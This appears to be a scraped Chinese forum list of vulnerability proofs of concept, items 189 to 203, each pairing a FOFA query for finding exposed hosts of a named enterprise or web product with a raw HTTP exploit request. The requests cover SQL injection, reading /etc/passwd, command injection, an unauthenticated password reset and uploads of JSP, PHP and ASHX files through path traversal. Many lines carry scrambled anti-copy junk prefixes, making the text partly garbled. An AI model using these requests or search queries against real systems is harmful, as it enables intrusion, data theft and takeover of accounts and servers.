Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
: [* A3 y& u1 \Connection: close
1 B7 R7 Q% i' O( U+ K
- L" B) q+ U( D/ k: ?
: `0 J8 v8 t+ ]/ Y/ e189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
; Y9 K. X3 t6 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! l# j$ i" g! M! ^( J+ }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 e+ V2 I! |" ]7 W% a" m9 sAccept-Encoding: gzip, deflate
& }) `$ Q/ D$ ^& J3 X0 l  D  e0 BAccept-Language: zh-CN,zh;q=0.9
Connection: close
" e3 A  ]( B0 j. S1 y8 ]: V
; ]0 K4 o8 f" J# t% `
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
  S1 b/ l3 D% Y0 gFOFA：title=="短视频矩阵营销系统"
; [. s, a( W1 V+ rPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
9 _/ F# Z. h3 M5 KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
0 b6 Z& h: R! I# IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! M9 o; I1 G5 G# FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

! L) ^$ u& E+ _6 Z; r- @4 q, opoi=file:///etc/passwd
. v2 e9 X6 J' _$ \- l- g1 F
9 K/ Q! R3 Z* l$ i$ h- M
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
& w5 e. _( X8 H. h% DPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
, A" v: y; ?( G# n* w) r6 WHost: your-ip
9 y, X3 T+ ?. H% P! L+ @& NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: T! {) r! l5 @, n1 Q) S" ?Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


4 T- v" A9 j* z8 v1 Q2 g% c192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
. p& p+ N1 }+ P: a& xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ G/ i" G$ K) P; d' `$ [
8 D9 X) e5 _/ n& E+ s
<% @ webhandler language="C#" class="AverageHandler" %>
6 G3 [" l: @0 g1 K9 s, M" S; husing System;
using System.Web;
public class AverageHandler : IHttpHandler
{
* c, t' Z* K- m! \/ bpublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
: L+ ^+ B1 F% @0 q0 rctx.Response.Write("test");
}
- E* e" ]% H- O* w3 z}
9 F) a1 Z9 ?' r' V+ b

* |: }7 b4 {! r* g3 F3 f6 n& p: B193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
. z& P: O" T( ^0 G1 y! yFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
! u+ A+ P$ _& q2 s! C# gUser-Agent: Mozilla/5.0
& _8 X3 ^3 j3 {% TAccept-Encoding: gzip, deflate
+ C7 H' `2 @  e8 R4 p7 qAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
) O% N3 i" B8 q8 SContent-Type: application/x-www-form-urlencoded
' ?- I1 x% s7 x  E3 YContent-Length: 84
+ O  U4 \+ O* v4 y; Q5 J5 m) N
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

; y( d8 E+ T  m9 }$ f2 ?/ Y
  S+ O9 v( v" \4 m4 GGET /master/img/config HTTP/1.1
1 k$ y7 ^8 v" K. C1 F1 h; aHost:
4 e9 t& v; A! L: `( `' }; ~User-Agent: Mozilla/5.0


* @* v/ Y- x( k7 G5 Q/ }6 A8 T5 I194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
& g' w7 M! w7 H/ [7 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1 [; v( [, B5 u( IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: S6 a) i/ U/ w2 kAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
: G* }; z' l- q4 H# D
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
) v2 f( F( i4 B, K$ MContent-Type: text/plain
<% out.println("hello");%>
" C+ T) L% |" l! \------WebKitFormBoundaryKNt0t4vBe8cX9rZk
. ^& t1 I5 g# V$ B& n" U0 S, k5 l, gContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
3 V3 ^. j" |5 r8 @- r

. V0 I7 ]* b, _3 w% u  h: Z195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
$ b' P; j  ^. j. r5 {FOFA：title=="飞鱼星企业级智能上网行为管理系统
6 V9 F9 U) c7 t. ?$ iPOST /send_order.cgi?parameter=operation HTTP/1.1
, `6 q& Y& ?/ q4 H( R8 M0 yHost: 127.0.0.1
% L# L8 w  s$ APragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
3 R8 X' N# \& Z& k2 n- oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) S) g1 Q9 K: `; `' GConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
9 ?# X# ^" A' n9 L$ F. J

196. 河南省风速科技统一认证平台密码重置
' [3 |4 r- a9 Q4 J* _* B1 W6 T6 ]# RFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
5 l! ?" H, u" e( e9 y3 n$ ~4 b& _POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
+ X3 t# O; g- sContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
; ~/ }( z/ i+ m% [/ b% x) C+ UConnection: close
; B' X  y3 U+ M( Z  w
/ M# s2 j6 ^/ i( [& K3 `5 f{"xgh":"test","newPass":"test666","email":""}
& C: U% Z  g: G: X* f/ f/ x


197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
: T0 s/ Q8 u0 \2 q5 C, CFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
- ^# K7 s5 Z0 Q% vHost:
- U  M' I) F2 _( Y( gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
# i9 W; e) h3 O  F( l* IAccept-Encoding: gzip, deflate
8 n: \2 G7 h, l% z5 X  A5 V: JConnection: close
% q+ ~* N( [. I/ U$ F
5 {' T+ f3 y# Q1 p& A% f. G
% \  M  r$ I- a3 F6 a( I
198.  阿里云盘 WebDAV 命令注入
9 D2 O5 d9 V4 v. H4 h/ @CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
6 X# V' y5 V- h7 t5 Y9 d& C: w' n( mCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
+ u  d' s0 F" m$ I% @: b  tAccept: */*
Accept-Encoding: gzip, deflate
8 p+ L8 ]+ t4 p8 j' ^: I3 l2 I" YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
) x1 A5 o8 T. X, c2 e  GConnection: close


199. cockpit系统assetsmanager_upload接口 文件上传

% D) ~) C/ n. W9 i4 k" a1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
3 @3 o8 ]. n' u) @$ hGET /auth/login?to=/ HTTP/1.1
& e0 D0 S( D. J8 E. ^  w) \( V+ \* O& z
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
  M# }2 v$ ~% K: C3 a
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json
* A8 m- q, L$ ~9 N( h: h
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
8 d/ C% O' W* K) b0 w6 S/ ^2 v
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
( @1 U, Y! `, H% [7 s2 T1 SCookie: mysession=95524f01e238bf51bb60d77ede3bea92

# J; n% M5 ]0 l-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
9 A. M1 b( b4 Q# T( mContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
( g! i- k2 C; }/ o) e/ E* L* G, p' W-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
1 T2 C" j  L' f; T' C5 A
- Y2 b5 o6 ^  O) v9 p9 e-----------------------------36D28FBc36bd6feE7Fb3--
* O5 Y# q, X4 _  s
0 s$ V9 x3 K" S  |) G9 C
/storage/uploads/tttt.php
0 t8 `6 ?3 O6 H0 N7 b3 w+ G5 V3 A
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
3 H$ R+ Z( k# u3 C0 I1 RCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
, N$ b0 x7 e0 w8 q+ MUpgrade-Insecure-Requests: 1
6 `" {* S1 v) d/ ~* {Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; J4 l( b' d* I# qAccept-Language: zh-CN,zh;q=0.9
$ N) e4 \! A: Z/ _

3 h0 [. C2 q8 y  \201. 方正全媒体新闻采编系统 binary SQL注入
& v6 z1 h+ ], LFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
5 {* S" Z& n# o/ |& ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% ^4 R5 E1 r! t7 aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
: x5 w# e6 t; \2 y
& i7 M5 d3 n# x
  X& L! L5 F7 e: ^9 u' N202. 微擎系统 AccountEdit任意文件上传
8 f: O' I/ ?9 lFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
$ e% C# R+ k" y# E* lGET /User/AccountEdit.aspx HTTP/1.1
4 f2 ~( r' k5 o/ C; t+ pHost: 滑板人之家
& e( Z& n: P; ?6 V. ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
8 J# \  \7 O9 Q; Y

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
  b+ \* t' w* I7 F5 l( U9 \5 ~Accept-Encoding: gzip, deflate, br
9 Z" |- N9 A# B6 d$ VContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

! ~* C% g( Z4 `, C+ l1 G-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

) {3 I5 P5 L; |# Y__VIEWSTATE
5 H8 t+ L+ f- c: ^7 g4 T7 s-----------------------------786435874t38587593865736587346567358735687
3 A- r( i1 z1 i1 ZContent-Disposition: form-data; name="__EVENTVALIDATION"

* N4 k; L8 r- Z3 Q! G7 p2 h+ G__EVENTVALIDATION
% l4 k0 u- ~4 b+ f  H-----------------------------786435874t38587593865736587346567358735687
8 |  x2 M; J5 a5 GContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
, @# G2 K+ S. J9 R7 Q9 ?2 b
5 A$ }- B; d# c/ WHello World!
-----------------------------786435874t38587593865736587346567358735687
2 {8 H7 f9 K2 ^6 oContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

; k2 Y: T3 |( \" y( a上传图片
4 Z; N6 L* b; H5 y1 Y-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
  I5 ~! d9 d9 d- R
4 m9 g2 l# M9 `0 j( L6 s! X
2 T' L2 }, j/ a" d: ~-----------------------------786435874t38587593865736587346567358735687
5 M, Z7 J* X8 F# [5 vContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
1 B, ~9 ?9 T& L
- \6 Y& W9 n0 i; \; \8 e1 `8 u
-----------------------------786435874t38587593865736587346567358735687--

8 ^) c' O8 `2 K# x" U$ x: P
/_data/Uploads/1123.txt
0 b3 @$ t$ @! `" m) K
. m- H- A# H6 q4 L203. 红海云EHR PtFjk 文件上传
, R0 f2 k/ A( SFOFA：body="RedseaPlatform"
: @+ U5 }% l. x( J% \. qPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
# H$ W3 q+ n# w3 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! P* S4 V7 x. d: k  s' sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
1 n; ]) L7 e" [$ k- H5 E" I" s" x+ N- LContent-Length: 210
2 `6 `4 y6 C+ N5 z3 ~7 H/ n  v1 P
1 Q8 M. [3 Y# K: D7 b8 M" q) _4 @------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

1 @/ r1 t( Y. o1 N<% out.print("hello,eHR");%>
1 F" c! @1 u% V/ P------WebKitFormBoundaryt7WbDl1tXogoZys4--
% V0 z/ ~/ Y) e* Z6 _7 M# n
+ \8 b; e, e- \: `
# t6 R5 C# G6 Z5 d4 f+ }


0 m* _4 L$ u: Q+ |/ h- t
. s) Q* M$ b' w- z4 X